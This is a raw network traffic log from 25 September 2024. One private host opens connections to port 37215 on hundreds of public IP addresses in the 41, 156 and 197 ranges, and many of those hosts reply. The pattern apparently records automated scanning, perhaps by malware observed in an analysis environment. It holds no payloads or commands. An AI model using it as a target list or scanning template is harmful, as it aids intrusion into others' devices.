Sep 25, 2024 14:14:11.279006958 CEST	63353	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:11.279006958 CEST	63353	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:11.279019117 CEST	63353	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:11.279019117 CEST	63353	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:11.279021025 CEST	63353	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:11.279021025 CEST	63353	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:11.279033899 CEST	63353	37215	192.168.2.14	41.233.168.134
Sep 25, 2024 14:14:11.279035091 CEST	63353	37215	192.168.2.14	156.220.17.189
Sep 25, 2024 14:14:11.279040098 CEST	63353	37215	192.168.2.14	197.252.96.79
Sep 25, 2024 14:14:11.279040098 CEST	63353	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:11.279052019 CEST	63353	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:11.279052019 CEST	63353	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:11.279053926 CEST	63353	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:11.279053926 CEST	63353	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:11.279053926 CEST	63353	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:11.279057026 CEST	63353	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:11.279057026 CEST	63353	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:11.279061079 CEST	63353	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:11.279061079 CEST	63353	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:11.279073954 CEST	63353	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:11.279078007 CEST	63353	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:11.279078007 CEST	63353	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:11.279081106 CEST	63353	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:11.279090881 CEST	63353	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:11.279097080 CEST	63353	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:11.279112101 CEST	63353	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:11.279114008 CEST	63353	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:11.279118061 CEST	63353	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:11.279124022 CEST	63353	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:11.279131889 CEST	63353	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:11.279131889 CEST	63353	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:11.279136896 CEST	63353	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:11.279141903 CEST	63353	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:11.279144049 CEST	63353	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:11.279191971 CEST	63353	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:11.279191971 CEST	63353	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:11.279301882 CEST	63353	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:11.279408932 CEST	63353	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:11.283438921 CEST	37215	63353	156.105.111.2	192.168.2.14
Sep 25, 2024 14:14:11.283480883 CEST	37215	63353	156.7.180.15	192.168.2.14
Sep 25, 2024 14:14:11.283504009 CEST	63353	37215	192.168.2.14	156.105.111.2
Sep 25, 2024 14:14:11.283512115 CEST	37215	63353	197.105.105.62	192.168.2.14
Sep 25, 2024 14:14:11.283518076 CEST	63353	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:11.283540010 CEST	37215	63353	197.195.215.228	192.168.2.14
Sep 25, 2024 14:14:11.283549070 CEST	63353	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:11.283581972 CEST	63353	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:11.283593893 CEST	37215	63353	156.32.42.163	192.168.2.14
Sep 25, 2024 14:14:11.283622980 CEST	37215	63353	197.231.213.174	192.168.2.14
Sep 25, 2024 14:14:11.283631086 CEST	63353	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:11.283651114 CEST	37215	63353	41.144.112.76	192.168.2.14
Sep 25, 2024 14:14:11.283660889 CEST	63353	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:11.283679008 CEST	37215	63353	197.215.137.238	192.168.2.14
Sep 25, 2024 14:14:11.283683062 CEST	63353	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:11.283705950 CEST	37215	63353	41.218.248.203	192.168.2.14
Sep 25, 2024 14:14:11.283726931 CEST	63353	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:11.283732891 CEST	37215	63353	41.98.227.98	192.168.2.14
Sep 25, 2024 14:14:11.283740997 CEST	63353	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:11.283761024 CEST	37215	63353	156.91.174.178	192.168.2.14
Sep 25, 2024 14:14:11.283766031 CEST	63353	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:11.283811092 CEST	37215	63353	156.190.198.120	192.168.2.14
Sep 25, 2024 14:14:11.283838034 CEST	37215	63353	41.155.56.243	192.168.2.14
Sep 25, 2024 14:14:11.283845901 CEST	63353	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:11.283864975 CEST	37215	63353	197.128.136.140	192.168.2.14
Sep 25, 2024 14:14:11.283876896 CEST	63353	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:11.283876896 CEST	63353	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:11.283900023 CEST	63353	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:11.289392948 CEST	37215	63353	41.240.99.197	192.168.2.14
Sep 25, 2024 14:14:11.289441109 CEST	37215	63353	197.144.251.169	192.168.2.14
Sep 25, 2024 14:14:11.289443970 CEST	63353	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:11.289469004 CEST	37215	63353	156.55.88.200	192.168.2.14
Sep 25, 2024 14:14:11.289514065 CEST	37215	63353	41.50.90.84	192.168.2.14
Sep 25, 2024 14:14:11.289537907 CEST	63353	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:11.289537907 CEST	63353	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:11.289540052 CEST	37215	63353	197.237.148.180	192.168.2.14
Sep 25, 2024 14:14:11.289551973 CEST	63353	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:11.289567947 CEST	37215	63353	41.193.139.67	192.168.2.14
Sep 25, 2024 14:14:11.289618015 CEST	37215	63353	197.202.40.81	192.168.2.14
Sep 25, 2024 14:14:11.289619923 CEST	63353	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:11.289622068 CEST	63353	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:11.289648056 CEST	37215	63353	197.69.151.113	192.168.2.14
Sep 25, 2024 14:14:11.289654970 CEST	63353	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:11.289678097 CEST	37215	63353	41.225.68.243	192.168.2.14
Sep 25, 2024 14:14:11.289695978 CEST	63353	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:11.289705992 CEST	37215	63353	41.17.5.69	192.168.2.14
Sep 25, 2024 14:14:11.289733887 CEST	37215	63353	156.123.186.109	192.168.2.14
Sep 25, 2024 14:14:11.289738894 CEST	63353	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:11.289762020 CEST	63353	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:11.289762020 CEST	37215	63353	197.27.71.218	192.168.2.14
Sep 25, 2024 14:14:11.289791107 CEST	63353	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:11.289796114 CEST	37215	63353	41.222.122.162	192.168.2.14
Sep 25, 2024 14:14:11.289824963 CEST	37215	63353	197.233.180.85	192.168.2.14
Sep 25, 2024 14:14:11.289851904 CEST	37215	63353	156.167.26.116	192.168.2.14
Sep 25, 2024 14:14:11.289861917 CEST	63353	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:11.289863110 CEST	63353	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:11.289880037 CEST	37215	63353	156.77.18.48	192.168.2.14
Sep 25, 2024 14:14:11.289891005 CEST	63353	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:11.289907932 CEST	37215	63353	197.160.218.177	192.168.2.14
Sep 25, 2024 14:14:11.289910078 CEST	63353	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:11.289935112 CEST	37215	63353	197.19.140.61	192.168.2.14
Sep 25, 2024 14:14:11.289937019 CEST	63353	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:11.289953947 CEST	63353	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:11.289963007 CEST	37215	63353	156.81.106.200	192.168.2.14
Sep 25, 2024 14:14:11.289967060 CEST	63353	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:11.289989948 CEST	37215	63353	41.206.233.3	192.168.2.14
Sep 25, 2024 14:14:11.289992094 CEST	63353	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:11.290015936 CEST	37215	63353	197.58.23.178	192.168.2.14
Sep 25, 2024 14:14:11.290025949 CEST	63353	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:11.290044069 CEST	37215	63353	41.127.125.4	192.168.2.14
Sep 25, 2024 14:14:11.290055037 CEST	63353	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:11.290071964 CEST	37215	63353	41.118.111.214	192.168.2.14
Sep 25, 2024 14:14:11.290085077 CEST	63353	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:11.290098906 CEST	37215	63353	41.108.0.157	192.168.2.14
Sep 25, 2024 14:14:11.290110111 CEST	63353	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:11.290127039 CEST	37215	63353	41.153.113.249	192.168.2.14
Sep 25, 2024 14:14:11.290134907 CEST	63353	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:11.290154934 CEST	37215	63353	41.0.9.95	192.168.2.14
Sep 25, 2024 14:14:11.290164948 CEST	63353	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:11.290182114 CEST	37215	63353	156.53.157.21	192.168.2.14
Sep 25, 2024 14:14:11.290199041 CEST	63353	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:11.290209055 CEST	37215	63353	41.172.110.5	192.168.2.14
Sep 25, 2024 14:14:11.290219069 CEST	63353	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:11.290246964 CEST	63353	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:11.290257931 CEST	37215	63353	41.164.245.164	192.168.2.14
Sep 25, 2024 14:14:11.290286064 CEST	37215	63353	156.178.49.196	192.168.2.14
Sep 25, 2024 14:14:11.290312052 CEST	37215	63353	156.236.134.70	192.168.2.14
Sep 25, 2024 14:14:11.290323973 CEST	63353	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:11.290323973 CEST	63353	37215	192.168.2.14	156.178.49.196
Sep 25, 2024 14:14:11.290339947 CEST	37215	63353	156.85.177.51	192.168.2.14
Sep 25, 2024 14:14:11.290344000 CEST	63353	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:11.290366888 CEST	37215	63353	41.201.175.19	192.168.2.14
Sep 25, 2024 14:14:11.290374994 CEST	63353	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:11.290395021 CEST	37215	63353	197.135.92.242	192.168.2.14
Sep 25, 2024 14:14:11.290405035 CEST	63353	37215	192.168.2.14	41.201.175.19
Sep 25, 2024 14:14:11.290422916 CEST	37215	63353	197.253.49.237	192.168.2.14
Sep 25, 2024 14:14:11.290450096 CEST	37215	63353	41.139.18.55	192.168.2.14
Sep 25, 2024 14:14:11.290455103 CEST	63353	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:11.290467024 CEST	63353	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:11.290479898 CEST	37215	63353	197.151.246.17	192.168.2.14
Sep 25, 2024 14:14:11.290513992 CEST	37215	63353	41.118.189.247	192.168.2.14
Sep 25, 2024 14:14:11.290524960 CEST	63353	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:11.290524960 CEST	63353	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:11.290540934 CEST	37215	63353	41.203.2.228	192.168.2.14
Sep 25, 2024 14:14:11.290569067 CEST	37215	63353	41.218.100.111	192.168.2.14
Sep 25, 2024 14:14:11.290595055 CEST	37215	63353	156.249.130.124	192.168.2.14
Sep 25, 2024 14:14:11.290600061 CEST	63353	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:11.290600061 CEST	63353	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:11.290621996 CEST	37215	63353	41.82.232.246	192.168.2.14
Sep 25, 2024 14:14:11.290632963 CEST	63353	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:11.290632963 CEST	63353	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:11.290649891 CEST	37215	63353	156.22.110.107	192.168.2.14
Sep 25, 2024 14:14:11.290663004 CEST	63353	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:11.290677071 CEST	37215	63353	197.154.137.148	192.168.2.14
Sep 25, 2024 14:14:11.290704966 CEST	37215	63353	197.48.130.100	192.168.2.14
Sep 25, 2024 14:14:11.290715933 CEST	63353	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:11.290731907 CEST	37215	63353	41.250.164.45	192.168.2.14
Sep 25, 2024 14:14:11.290743113 CEST	63353	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:11.290759087 CEST	37215	63353	197.209.97.208	192.168.2.14
Sep 25, 2024 14:14:11.290786028 CEST	37215	63353	197.239.155.59	192.168.2.14
Sep 25, 2024 14:14:11.290788889 CEST	63353	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:11.290791035 CEST	63353	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:11.290796041 CEST	63353	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:11.290813923 CEST	37215	63353	197.34.128.199	192.168.2.14
Sep 25, 2024 14:14:11.290841103 CEST	37215	63353	41.78.144.231	192.168.2.14
Sep 25, 2024 14:14:11.290875912 CEST	63353	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:11.290887117 CEST	37215	63353	197.209.0.69	192.168.2.14
Sep 25, 2024 14:14:11.290890932 CEST	63353	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:11.290890932 CEST	63353	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:11.290916920 CEST	63353	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:11.290920019 CEST	37215	63353	41.91.175.25	192.168.2.14
Sep 25, 2024 14:14:11.290946960 CEST	37215	63353	197.120.188.58	192.168.2.14
Sep 25, 2024 14:14:11.290952921 CEST	63353	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:11.290975094 CEST	37215	63353	197.252.100.138	192.168.2.14
Sep 25, 2024 14:14:11.290997982 CEST	63353	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:11.291001081 CEST	37215	63353	156.73.31.180	192.168.2.14
Sep 25, 2024 14:14:11.291028976 CEST	37215	63353	197.92.57.124	192.168.2.14
Sep 25, 2024 14:14:11.291043997 CEST	63353	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:11.291043997 CEST	63353	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:11.291055918 CEST	37215	63353	197.230.188.227	192.168.2.14
Sep 25, 2024 14:14:11.291062117 CEST	63353	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:11.291084051 CEST	37215	63353	197.97.143.250	192.168.2.14
Sep 25, 2024 14:14:11.291089058 CEST	63353	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:11.291110992 CEST	37215	63353	197.250.119.4	192.168.2.14
Sep 25, 2024 14:14:11.291138887 CEST	37215	63353	41.195.147.108	192.168.2.14
Sep 25, 2024 14:14:11.291148901 CEST	63353	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:11.291167021 CEST	37215	63353	41.120.46.143	192.168.2.14
Sep 25, 2024 14:14:11.291173935 CEST	63353	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:11.291194916 CEST	37215	63353	156.9.136.189	192.168.2.14
Sep 25, 2024 14:14:11.291199923 CEST	63353	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:11.291203976 CEST	63353	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:11.291222095 CEST	37215	63353	156.2.243.208	192.168.2.14
Sep 25, 2024 14:14:11.291230917 CEST	63353	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:11.291249990 CEST	37215	63353	156.126.243.85	192.168.2.14
Sep 25, 2024 14:14:11.291269064 CEST	63353	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:11.291275978 CEST	37215	63353	197.75.201.244	192.168.2.14
Sep 25, 2024 14:14:11.291302919 CEST	37215	63353	156.69.218.3	192.168.2.14
Sep 25, 2024 14:14:11.291323900 CEST	63353	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:11.291330099 CEST	37215	63353	156.231.58.213	192.168.2.14
Sep 25, 2024 14:14:11.291342020 CEST	63353	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:11.291346073 CEST	63353	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:11.291356087 CEST	37215	63353	156.132.215.112	192.168.2.14
Sep 25, 2024 14:14:11.291383028 CEST	37215	63353	41.37.226.104	192.168.2.14
Sep 25, 2024 14:14:11.291403055 CEST	63353	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:11.291407108 CEST	63353	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:11.291428089 CEST	37215	63353	197.125.0.253	192.168.2.14
Sep 25, 2024 14:14:11.291431904 CEST	63353	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:11.291455030 CEST	37215	63353	197.121.164.75	192.168.2.14
Sep 25, 2024 14:14:11.291465044 CEST	63353	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:11.291481972 CEST	37215	63353	197.232.26.242	192.168.2.14
Sep 25, 2024 14:14:11.291490078 CEST	63353	37215	192.168.2.14	197.121.164.75
Sep 25, 2024 14:14:11.291510105 CEST	37215	63353	156.90.134.66	192.168.2.14
Sep 25, 2024 14:14:11.291527987 CEST	63353	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:11.291555882 CEST	37215	63353	156.37.0.164	192.168.2.14
Sep 25, 2024 14:14:11.291587114 CEST	63353	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:11.291589022 CEST	37215	63353	156.180.154.78	192.168.2.14
Sep 25, 2024 14:14:11.291591883 CEST	63353	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:11.291616917 CEST	37215	63353	156.155.163.180	192.168.2.14
Sep 25, 2024 14:14:11.291642904 CEST	37215	63353	156.14.29.34	192.168.2.14
Sep 25, 2024 14:14:11.291655064 CEST	63353	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:11.291661024 CEST	63353	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:11.291671038 CEST	37215	63353	197.212.255.42	192.168.2.14
Sep 25, 2024 14:14:11.291698933 CEST	37215	63353	41.254.134.205	192.168.2.14
Sep 25, 2024 14:14:11.291702032 CEST	63353	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:11.291707993 CEST	63353	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:11.291727066 CEST	37215	63353	156.118.4.206	192.168.2.14
Sep 25, 2024 14:14:11.291754007 CEST	37215	63353	197.105.233.84	192.168.2.14
Sep 25, 2024 14:14:11.291755915 CEST	63353	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:11.291755915 CEST	63353	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:11.291781902 CEST	37215	63353	156.179.106.40	192.168.2.14
Sep 25, 2024 14:14:11.291783094 CEST	63353	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:11.291807890 CEST	37215	63353	41.130.204.108	192.168.2.14
Sep 25, 2024 14:14:11.291816950 CEST	63353	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:11.291836023 CEST	37215	63353	197.17.158.253	192.168.2.14
Sep 25, 2024 14:14:11.291862965 CEST	37215	63353	41.14.114.34	192.168.2.14
Sep 25, 2024 14:14:11.291883945 CEST	63353	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:11.291883945 CEST	63353	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:11.291888952 CEST	37215	63353	156.169.23.31	192.168.2.14
Sep 25, 2024 14:14:11.291918039 CEST	37215	63353	41.155.176.52	192.168.2.14
Sep 25, 2024 14:14:11.291928053 CEST	63353	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:11.291928053 CEST	63353	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:11.291944981 CEST	37215	63353	197.76.33.3	192.168.2.14
Sep 25, 2024 14:14:11.291971922 CEST	37215	63353	41.70.223.81	192.168.2.14
Sep 25, 2024 14:14:11.291994095 CEST	63353	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:11.291999102 CEST	63353	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:11.291999102 CEST	37215	63353	156.2.239.14	192.168.2.14
Sep 25, 2024 14:14:11.292026997 CEST	37215	63353	156.0.246.2	192.168.2.14
Sep 25, 2024 14:14:11.292053938 CEST	37215	63353	197.159.134.131	192.168.2.14
Sep 25, 2024 14:14:11.292063951 CEST	63353	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:11.292063951 CEST	63353	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:11.292063951 CEST	63353	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:11.292082071 CEST	37215	63353	41.104.163.68	192.168.2.14
Sep 25, 2024 14:14:11.292109013 CEST	37215	63353	197.211.174.27	192.168.2.14
Sep 25, 2024 14:14:11.292124033 CEST	63353	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:11.292136908 CEST	37215	63353	156.16.94.219	192.168.2.14
Sep 25, 2024 14:14:11.292156935 CEST	63353	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:11.292164087 CEST	37215	63353	197.156.198.167	192.168.2.14
Sep 25, 2024 14:14:11.292185068 CEST	63353	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:11.292185068 CEST	63353	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:11.292210102 CEST	37215	63353	41.123.151.76	192.168.2.14
Sep 25, 2024 14:14:11.292212009 CEST	63353	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:11.292242050 CEST	37215	63353	156.113.97.1	192.168.2.14
Sep 25, 2024 14:14:11.292268991 CEST	37215	63353	156.196.69.185	192.168.2.14
Sep 25, 2024 14:14:11.292295933 CEST	37215	63353	41.75.134.209	192.168.2.14
Sep 25, 2024 14:14:11.292306900 CEST	63353	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:11.292324066 CEST	37215	63353	41.203.219.24	192.168.2.14
Sep 25, 2024 14:14:11.292347908 CEST	63353	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:11.292350054 CEST	37215	63353	197.85.20.91	192.168.2.14
Sep 25, 2024 14:14:11.292376041 CEST	37215	63353	156.165.179.233	192.168.2.14
Sep 25, 2024 14:14:11.292380095 CEST	63353	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:11.292381048 CEST	63353	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:11.292383909 CEST	63353	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:11.292391062 CEST	63353	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:11.292406082 CEST	37215	63353	156.188.18.156	192.168.2.14
Sep 25, 2024 14:14:11.292413950 CEST	63353	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:11.292433023 CEST	37215	63353	197.74.234.63	192.168.2.14
Sep 25, 2024 14:14:11.292459011 CEST	37215	63353	41.135.24.40	192.168.2.14
Sep 25, 2024 14:14:11.292464018 CEST	63353	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:11.292471886 CEST	63353	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:11.292486906 CEST	37215	63353	156.225.72.240	192.168.2.14
Sep 25, 2024 14:14:11.292494059 CEST	63353	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:11.292512894 CEST	37215	63353	41.119.194.26	192.168.2.14
Sep 25, 2024 14:14:11.292520046 CEST	63353	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:11.292540073 CEST	37215	63353	197.7.86.235	192.168.2.14
Sep 25, 2024 14:14:11.292550087 CEST	63353	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:11.292567968 CEST	37215	63353	156.23.38.211	192.168.2.14
Sep 25, 2024 14:14:11.292572021 CEST	63353	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:11.292593956 CEST	37215	63353	41.87.166.42	192.168.2.14
Sep 25, 2024 14:14:11.292620897 CEST	37215	63353	41.11.24.157	192.168.2.14
Sep 25, 2024 14:14:11.292624950 CEST	63353	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:11.292634964 CEST	63353	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:11.292646885 CEST	37215	63353	197.59.27.190	192.168.2.14
Sep 25, 2024 14:14:11.292674065 CEST	37215	63353	41.254.136.7	192.168.2.14
Sep 25, 2024 14:14:11.292676926 CEST	63353	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:11.292676926 CEST	63353	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:11.292700052 CEST	37215	63353	41.233.168.134	192.168.2.14
Sep 25, 2024 14:14:11.292707920 CEST	63353	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:11.292726994 CEST	37215	63353	156.220.17.189	192.168.2.14
Sep 25, 2024 14:14:11.292733908 CEST	63353	37215	192.168.2.14	41.233.168.134
Sep 25, 2024 14:14:11.292753935 CEST	37215	63353	197.252.96.79	192.168.2.14
Sep 25, 2024 14:14:11.292762995 CEST	63353	37215	192.168.2.14	156.220.17.189
Sep 25, 2024 14:14:11.292782068 CEST	37215	63353	197.212.59.163	192.168.2.14
Sep 25, 2024 14:14:11.292807102 CEST	37215	63353	41.113.76.132	192.168.2.14
Sep 25, 2024 14:14:11.292809010 CEST	63353	37215	192.168.2.14	197.252.96.79
Sep 25, 2024 14:14:11.292838097 CEST	37215	63353	197.228.42.166	192.168.2.14
Sep 25, 2024 14:14:11.292841911 CEST	63353	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:11.292871952 CEST	37215	63353	156.128.52.57	192.168.2.14
Sep 25, 2024 14:14:11.292879105 CEST	63353	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:11.292898893 CEST	37215	63353	156.183.76.141	192.168.2.14
Sep 25, 2024 14:14:11.292910099 CEST	63353	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:11.292926073 CEST	37215	63353	41.204.4.154	192.168.2.14
Sep 25, 2024 14:14:11.292953014 CEST	37215	63353	156.202.243.110	192.168.2.14
Sep 25, 2024 14:14:11.292957067 CEST	63353	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:11.292958021 CEST	63353	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:11.292980909 CEST	37215	63353	41.218.113.176	192.168.2.14
Sep 25, 2024 14:14:11.293008089 CEST	37215	63353	41.175.30.52	192.168.2.14
Sep 25, 2024 14:14:11.293010950 CEST	63353	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:11.293034077 CEST	37215	63353	41.57.178.82	192.168.2.14
Sep 25, 2024 14:14:11.293046951 CEST	63353	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:11.293056965 CEST	63353	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:11.293056965 CEST	63353	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:11.293061972 CEST	37215	63353	41.126.108.91	192.168.2.14
Sep 25, 2024 14:14:11.293073893 CEST	63353	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:11.293090105 CEST	37215	63353	156.116.96.173	192.168.2.14
Sep 25, 2024 14:14:11.293112993 CEST	63353	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:11.293117046 CEST	37215	63353	41.217.97.239	192.168.2.14
Sep 25, 2024 14:14:11.293132067 CEST	63353	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:11.293144941 CEST	37215	63353	197.75.103.164	192.168.2.14
